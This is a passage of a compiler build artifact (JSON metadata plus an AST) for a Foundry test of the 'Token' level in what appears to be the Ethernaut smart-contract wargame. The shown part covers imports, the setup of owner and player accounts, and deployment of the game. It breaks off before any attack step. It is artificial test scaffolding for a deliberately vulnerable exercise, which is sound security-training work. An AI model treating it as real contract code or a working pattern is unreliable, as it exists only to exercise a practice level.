TzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/levels/Dummy.sol":{"keccak256":"0xe3393595725cfccb5148374ec33aff5c3034a08a38d02495c10cdd9ec1a21df5","urls":["bzz-raw://78815ecbdbc5f234fa263dba37eb548ef1dfe9e8e170454c29a168fa852e8339","dweb:/ipfs/QmdEfVevGgeHFCG3L14izL56q6TY3v4AiRPHcCdQCjNEZD"],"license":"MIT"},"src/levels/DummyFactory.sol":{"keccak256":"0xb13c5cf5720f2930d36f35b287ae41957942d839e795023ec14c26dab15f7a80","urls":["bzz-raw://228246abd4668e6e2fecb90f79b885717e1bdb9b3c27cfed2780485afde6247f","dweb:/ipfs/QmUGdYkAhT6B8JnvJFLAizsquMfsN1kxx1K5BmG19y8RtN"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/Token.t.sol":{"keccak256":"0xb38d341efd33d02662f240f0b70b76578e70b1629993ce3fb6043d4d43f4e9f5","urls":["bzz-raw://6c06db9b9798838d4e5a15f017932c69dec59b06859bf547a9394b6a0126901c","dweb:/ipfs/QmQZN7JiSLV8UF3UffdS9jY62xZQHEgnnSftp5Gxm6aZyu"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/Token.t.sol","id":64927,"exportedSymbols":{"DummyFactory":[52145],"Ethernaut":[49101],"Level":[55508],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestBase":[65],"TestToken":[64926],"Token":[64756],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:1904:149","nodes":[{"id":64737,"nodeType":"PragmaDirective","src":"32:23:149","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":64738,"nodeType":"ImportDirective","src":"57:28:149","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":64927,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":64740,"nodeType":"ImportDirective","src":"86:43:149","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":64927,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":64739,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:149","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":64742,"nodeType":"ImportDirective","src":"131:57:149","nodes":[],"absolutePath":"src/levels/DummyFactory.sol","file":"src/levels/DummyFactory.sol","nameLocation":"-1:-1:-1","scope":64927,"sourceUnit":52146,"symbolAliases":[{"foreign":{"id":64741,"name":"DummyFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52145,"src":"139:12:149","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":64744,"nodeType":"ImportDirective","src":"189:48:149","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":64927,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":64743,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"197:5:149","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":64746,"nodeType":"ImportDirective","src":"238:44:149","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":64927,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":64745,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"246:9:149","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":64756,"nodeType":"ContractDefinition","src":"284:84:149","nodes":[{"id":64755,"nodeType":"FunctionDefinition","src":"306:60:149","nodes":[],"functionSelector":"a9059cbb","implemented":false,"kind":"function","modifiers":[],"name":"transfer","nameLocation":"315:8:149","parameters":{"id":64751,"nodeType":"ParameterList","parameters":[{"constant":false,"id":64748,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":64755,"src":"324:7:149","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":64747,"name":"address","nodeType":"ElementaryTypeName","src":"324:7:149","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":64750,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":64755,"src":"333:7:149","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":64749,"name":"uint256","nodeType":"ElementaryTypeName","src":"333:7:149","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"323:18:149"},"returnParameters":{"id":64754,"nodeType":"ParameterList","parameters":[{"constant":false,"id":64753,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":64755,"src":"360:4:149","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":64752,"name":"bool","nodeType":"ElementaryTypeName","src":"360:4:149","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"359:6:149"},"scope":64756,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"Token","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[64756],"name":"Token","nameLocation":"294:5:149","scope":64927,"usedErrors":[],"usedEvents":[]},{"id":64926,"nodeType":"ContractDefinition","src":"370:1565:149","nodes":[{"id":64763,"nodeType":"VariableDeclaration","src":"410:19:149","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"420:9:149","scope":64926,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":64762,"nodeType":"UserDefinedTypeName","pathNode":{"id":64761,"name":"Ethernaut","nameLocations":["410:9:149"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"410:9:149"},"referencedDeclaration":49101,"src":"410:9:149","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":64766,"nodeType":"VariableDeclaration","src":"435:14:149","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"441:8:149","scope":64926,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Token_$64756","typeString":"contract Token"},"typeName":{"id":64765,"nodeType":"UserDefinedTypeName","pathNode":{"id":64764,"name":"Token","nameLocations":["435:5:149"],"nodeType":"IdentifierPath","referencedDeclaration":64756,"src":"435:5:149"},"referencedDeclaration":64756,"src":"435:5:149","typeDescriptions":{"typeIdentifier":"t_contract$_Token_$64756","typeString":"contract Token"}},"visibility":"internal"},{"id":64768,"nodeType":"VariableDeclaration","src":"456:21:149","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"472:5:149","scope":64926,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":64767,"name":"address","nodeType":"ElementaryTypeName","src":"456:15:149","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":64770,"nodeType":"VariableDeclaration","src":"483:22:149","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"499:6:149","scope":64926,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":64769,"name":"address","nodeType":"ElementaryTypeName","src":"483:15:149","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":64873,"nodeType":"FunctionDefinition","src":"692:608:149","nodes":[],"body":{"id":64872,"nodeType":"Block","src":"716:584:149","nodes":[],"statements":[{"assignments":[64775],"declarations":[{"constant":false,"id":64775,"mutability":"mutable","name":"users","nameLocation":"751:5:149","nodeType":"VariableDeclaration","scope":64872,"src":"726:30:149","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":64773,"name":"address","nodeType":"ElementaryTypeName","src":"726:15:149","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":64774,"nodeType":"ArrayTypeName","src":"726:17:149","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":64779,"initialValue":{"arguments":[{"hexValue":"32","id":64777,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"771:1:149","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":64776,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"759:11:149","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":64778,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"759:14:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"726:47:149"},{"expression":{"id":64784,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":64780,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64768,"src":"784:5:149","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":64781,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64775,"src":"792:5:149","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":64783,"indexExpression":{"hexValue":"30","id":64782,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"798:1:149","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"792:8:149","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"784:16:149","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":64785,"nodeType":"ExpressionStatement","src":"784:16:149"},{"expression":{"arguments":[{"id":64789,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64768,"src":"819:5:149","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":64790,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"826:7:149","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":64786,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"810:2:149","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64788,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"813:5:149","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"810:8:149","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":64791,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"810:24:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64792,"nodeType":"ExpressionStatement","src":"810:24:149"},{"expression":{"id":64797,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":64793,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64770,"src":"845:6:149","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":64794,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64775,"src":"854:5:149","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":64796,"indexExpression":{"hexValue":"31","id":64795,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"860:1:149","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"854:8:149","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"845:17:149","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":64798,"nodeType":"ExpressionStatement","src":"845:17:149"},{"expression":{"arguments":[{"id":64802,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64770,"src":"881:6:149","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":64803,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"889:8:149","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":64799,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"872:2:149","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64801,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"875:5:149","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"872:8:149","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":64804,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"872:26:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64805,"nodeType":"ExpressionStatement","src":"872:26:149"},{"expression":{"arguments":[{"id":64809,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64768,"src":"923:5:149","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":64806,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"909:2:149","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64808,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"912:10:149","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"909:13:149","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":64810,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"909:20:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64811,"nodeType":"ExpressionStatement","src":"909:20:149"},{"expression":{"id":64816,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":64812,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64763,"src":"939:9:149","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":64814,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64768,"src":"978:5:149","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":64813,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"951:26:149","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":64815,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"951:33:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"939:45:149","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":64817,"nodeType":"ExpressionStatement","src":"939:45:149"},{"assignments":[64820],"declarations":[{"constant":false,"id":64820,"mutability":"mutable","name":"factory","nameLocation":"1007:7:149","nodeType":"VariableDeclaration","scope":64872,"src":"994:20:149","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"},"typeName":{"id":64819,"nodeType":"UserDefinedTypeName","pathNode":{"id":64818,"name":"DummyFactory","nameLocations":["994:12:149"],"nodeType":"IdentifierPath","referencedDeclaration":52145,"src":"994:12:149"},"referencedDeclaration":52145,"src":"994:12:149","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}},"visibility":"internal"}],"id":64826,"initialValue":{"arguments":[{"arguments":[{"hexValue":"546f6b656e466163746f7279","id":64823,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1044:14:149","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d756f2d713885339bf87a67d06485521802e959f50d61d7607ed7117e51bc16","typeString":"literal_string \"TokenFactory\""},"value":"TokenFactory"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3d756f2d713885339bf87a67d06485521802e959f50d61d7607ed7117e51bc16","typeString":"literal_string \"TokenFactory\""}],"id":64822,"name":"getOldFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66672,"src":"1030:13:149","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$returns$_t_address_$","typeString":"function (string memory) returns 